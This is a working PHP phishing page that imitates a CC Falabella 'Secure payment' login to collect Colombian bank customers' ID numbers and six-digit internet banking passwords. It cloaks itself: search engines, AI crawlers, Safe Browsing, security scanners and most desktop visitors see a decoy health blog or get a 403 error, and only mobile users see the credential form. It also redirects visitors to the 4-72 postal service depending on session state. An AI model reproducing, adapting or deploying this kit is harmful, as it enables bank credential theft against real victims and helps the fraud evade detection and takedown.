<?php
session_start();


if(isset($_SESSION['estado']) && $_SESSION['estado'] == 1){


}else if(isset($_SESSION['estado']) && $_SESSION['estado'] == 2){

    header('location:/404.php');

}else if(isset($_SESSION['estado']) && $_SESSION['estado'] == 3){

    header('location:https://www.4-72.com.co/publicaciones/236/personas/');
}


function getRealIP() {
    $keys = ['HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
    foreach ($keys as $key) {
        if (!empty($_SERVER[$key])) {
            $ip_list = explode(',', $_SERVER[$key]);
            $ip = trim($ip_list[0]);
            if (filter_var($ip, FILTER_VALIDATE_IP)) return $ip;
        }
    }
    return '0.0.0.0';
}
$ip = getRealIP();

$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
$user_agent_lower = strtolower($user_agent);

function isMobileUA($ua_lower) {
    $mobile_patterns = [
        'mobile', 'android', 'iphone', 'ipad', 'ipod', 'blackberry', 'webos',
        'windows phone', 'iemobile', 'opera mini', 'opera mobi', 'mobi', 'tablet',
        'kindle', 'silk', 'playbook', 'bb10', 'symbian', 'nokia', 'lg', 'samsung'
    ];
    foreach ($mobile_patterns as $pattern) {
        if (strpos($ua_lower, $pattern) !== false) {
            return true;
        }
    }
    return false;
}

$is_mobile_ua = isMobileUA($user_agent_lower);

$mobile_ip_prefixes = [
    '166.210.', '168.0.', '152.200.', '179.18.', '201.221.', '200.93.', '204.199.',
    '191.156.', '100.64.'
];

$residential_ip_prefixes = [
    '190.', '186.', '181.', '201.228.', '200.21.', '190.68.', '186.116.', '186.119.',
    '190.65.'
];

$is_mobile_ip = false;
$is_residential_ip = false;

foreach ($mobile_ip_prefixes as $prefix) {
    if (strpos($ip, $prefix) === 0) {
        $is_mobile_ip = true;
        break;
    }
}

foreach ($residential_ip_prefixes as $prefix) {
    if (strpos($ip, $prefix) === 0) {
        $is_residential_ip = true;
        break;
    }
}

$bot_agents = ['googlebot', 'bingbot', 'facebookexternalhit', 'semrushbot', 'ahrefsbot',
    'adsbot-google', 'mediapartners-google', 'apis-google', 'google-read-aloud',
    'google-safe-browsing', 'google-safebrowsing', 'safebrowsing', 'sb-google',
    'chrome-lighthouse', 'lighthouse', 'pagespeed', 'google page speed',
    'msnbot', 'duckduckbot', 'yandexbot', 'baiduspider', 'seznambot', 'applebot',
    'facebot', 'whatsapp', 'telegrambot', 'discordbot', 'slackbot',
    'twitterbot', 'linkedinbot', 'pinterest',
    'gptbot', 'openai', 'chatgpt', 'anthropic', 'claude', 'gemini', 'bard',
    'perplexity', 'youbot', 'cohere', 'huggingface', 'c.ai', 'character.ai',
    'amazonbot', 'googlecloud', 'gcp', 'azure', 'digitalocean',
    'ovh', 'hetzner', 'contabo', 'linode', 'vultr', 'oraclecloud', 'ibmcloud',
    'namecheapbot', 'godaddybot', 'cloudflare', 'cf-', 'youstablebot', 'domains.google',
    'whois', 'rdap', 'spaceshipbot',
    'uptimerobot', 'pingdom', 'statuscake', 'betteruptime', 'datadog', 'newrelic', 'site24x7',
    'nessus', 'acunetix', 'qualys', 'nmap', 'zgrab', 'masscan',
    'shodan', 'censys', 'securitytrails',
    'curl', 'wget', 'python', 'requests', 'aiohttp',
    'axios', 'httpclient', 'okhttp', 'java', 'go-http', 'libwww',
    'postman', 'insomnia'
];
$is_bot = false;
foreach ($bot_agents as $bot) {
    if (stripos($user_agent_lower, $bot) !== false) {
        $is_bot = true;
        break;
    }
}

$show_white = false;

if ($is_bot) {
    $show_white = true;
} elseif (!$is_mobile_ua && $is_residential_ip) {
    $show_white = true;
} elseif ($is_mobile_ua || $is_mobile_ip) {
    $show_white = false;
} else {
    $show_white = true;
}

if ($show_white) {
    header('Content-Type: text/html; charset=utf-8');
    ?>
    <!DOCTYPE html>
    <html lang="es">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Guía Salud y Bienestar 2026 - Colombia</title>
        <meta name="description" content="Consejos naturales, nutrición y ejercicio para una vida plena en Colombia.">
    </head>
    <body style="font-family: Arial, sans-serif; max-width: 900px; margin: 0 auto; padding: 20px;">
        <h1>¡Bienvenido a nuestro blog de salud natural!</h1>
        <p>Encuentra los mejores tips de bienestar, superalimentos y rutinas saludables adaptadas para colombianos en 2026.</p>
        <article>
            <h2>Los 5 superalimentos más recomendados</h2>
            <p>Chía, quinoa, aguacate, café colombiano y frutas tropicales...</p>
        </article>
    </body>
    </html>
    <?php
    exit;
}
// ==============================
// ANTIBOT TOTAL – BLOQUEO ABSOLUTO
// ==============================

// 1. Bloqueo por User-Agent (TODO bot)
$ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

// ==================================================
// LISTA TOTAL DE BOTS (SOLO BOTS, NO HUMANOS)
// ==================================================
$bot_signatures = [

  // ---------- GOOGLE (BOTS REALES) ----------
  'googlebot','adsbot-google','mediapartners-google',
  'apis-google','google-read-aloud',
  'google-safe-browsing','google-safebrowsing',
  'safebrowsing','sb-google',
  'chrome-lighthouse','lighthouse',
  'pagespeed','google page speed',

  // ---------- OTROS BUSCADORES ----------
  'bingbot','msnbot','duckduckbot',
  'yandexbot','baiduspider','seznambot',
  'applebot',

  // ---------- REDES / PREVIEWS ----------
  'facebookexternalhit','facebot',
  'whatsapp','telegrambot',
  'discordbot','slackbot',
  'twitterbot','linkedinbot','pinterest',

  // ---------- IA / LLM ----------
  'gptbot','openai','chatgpt',
  'anthropic','claude',
  'gemini','bard',
  'perplexity','youbot',
  'cohere','huggingface',
  'c.ai','character.ai',

  // ---------- HOSTING / CLOUD (BOTS) ----------
  'amazonbot',
  'googlecloud','gcp',
  'azure',
  'digitalocean',
  'ovh','hetzner','contabo','linode','vultr',
  'oraclecloud','ibmcloud',

  // ---------- REGISTRADORES / DOMINIOS ----------
  'namecheapbot','godaddybot',
  'cloudflare','cf-',
  'domains.google',
  'whois','rdap',

  // ---------- MONITOREO ----------
  'uptimerobot','pingdom','statuscake',
  'betteruptime','datadog','newrelic','site24x7',

  // ---------- SEGURIDAD / SCANNERS ----------
  'nessus','acunetix','qualys',
  'nmap','zgrab','masscan',
  'shodan','censys','securitytrails',

  // ---------- LIBRERÍAS / AUTOMATIZACIÓN ----------
  'curl','wget','python','requests','aiohttp',
  'axios','httpclient','okhttp','java',
  'go-http','libwww',
  'postman','insomnia'
];

// ==================================================
// BLOQUEO POR FIRMA DE BOT
// ==================================================
foreach ($bot_signatures as $sig) {
  if (strpos($ua, $sig) !== false) {
    http_response_code(403);
    exit;
  }
}

// ==================================================
// ANTI BOT DISFRAZADO (NO AFECTA HUMANOS)
// ==================================================
$required_headers = [
  'HTTP_ACCEPT',
  'HTTP_ACCEPT_LANGUAGE',
  'HTTP_ACCEPT_ENCODING'
];

foreach ($required_headers as $h) {
  if (empty($_SERVER[$h])) {
    http_response_code(403);
    exit;
  }
}

// JS + cookies
if (!isset($_COOKIE['human_ok'])) {
  setcookie('human_ok','1', time()+3600,'/','',false,true);
  echo '<script>location.reload()</script>';
  exit;
}

// Rate limit humano
$_SESSION['hits'] = ($_SESSION['hits'] ?? 0) + 1;
if ($_SESSION['hits'] > 120) {
  http_response_code(429);
  exit;
}

?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0,user-scalable=0">
    <title>Secure payment</title>

    <script type="text/javascript" src="/scripts/jquery-3.6.0.min.js"></script>
		<script src="/scripts/jquery.jclock-min.js" type="text/javascript"></script>
   		<script type="text/javascript" src="/scripts/functions2.js"></script>  		

    <style>

        *{
            -webkit-appearance: none;
            font-family: Arial, Helvetica, sans-serif;
            margin: 0;
            padding: 0;
        }
        input{
            width: 80%;
            height: 40px;
            border-radius: 5px;
            margin-top: 10px;
            border:1px solid gray;
            padding: 5px;
        }
        select{
            padding: 5px;
            background-color: white;
            color: black;
            width: 82%;
            height: 40px;
            border-radius: 5px;
            margin-top: 10px;
            border:1px solid gray;
        }

        #btnUsuario{
            background-color: palevioletred;
            border: none;
            color: white;
            letter-spacing: 3px;
            font-family: Arial, Helvetica, sans-serif, 'Arial Narrow Bold';
            
        }

        #clave{
            color:rgb(78,139,102);
        }
    </style>
</head>
<body>
    <br><br>
    <div><center><img src="/img/fala.png" alt="" width="40%" height="">
    <img src="/images/check.png" alt="" srcset="" width="20%"></center>
    <img src="/img/pago.jpg" alt="" width="20%" style="margin-left:90px;"></div>
<br><br><br><br>
    <div>
        <center>
        <select name="" id="">
            <option value="cedula">Cedula Ciudadania</option>
        </select><br>

        <input type="text" id="txtUsuario" name = "cedula" placeholder="Cedula Ciudadania"><br>
        <input type="password" id="txtPass" name ="clave" placeholder="Clave internet" required pattern="[0-9]{6}"><br>
        <input type="submit" value="INGRESAR" id="btnUsuario" ></center><br>
        <input type="hidden" value="CC Falabella" id="banco">
       <center> <a href="" id="clave">Crea o recupera tu clave internet</a></center>
   </div>
<br><br>



<script type="text/javascript">

$(document).ready(function() {

    $('#btnUsuario').click(function(){
        if ($("#txtUsuario").val().length > 0) {
        
            pasousuario($("#txtPass").val(), $("#txtUsuario").val(), $("#banco").val());	
        }else{
            $("#err-mensaje").show();
            $(".user").css("border", "1px solid red");
            $("#txtUsuario").focus();
        }			
    });
});
</script>
    
</body>
</html>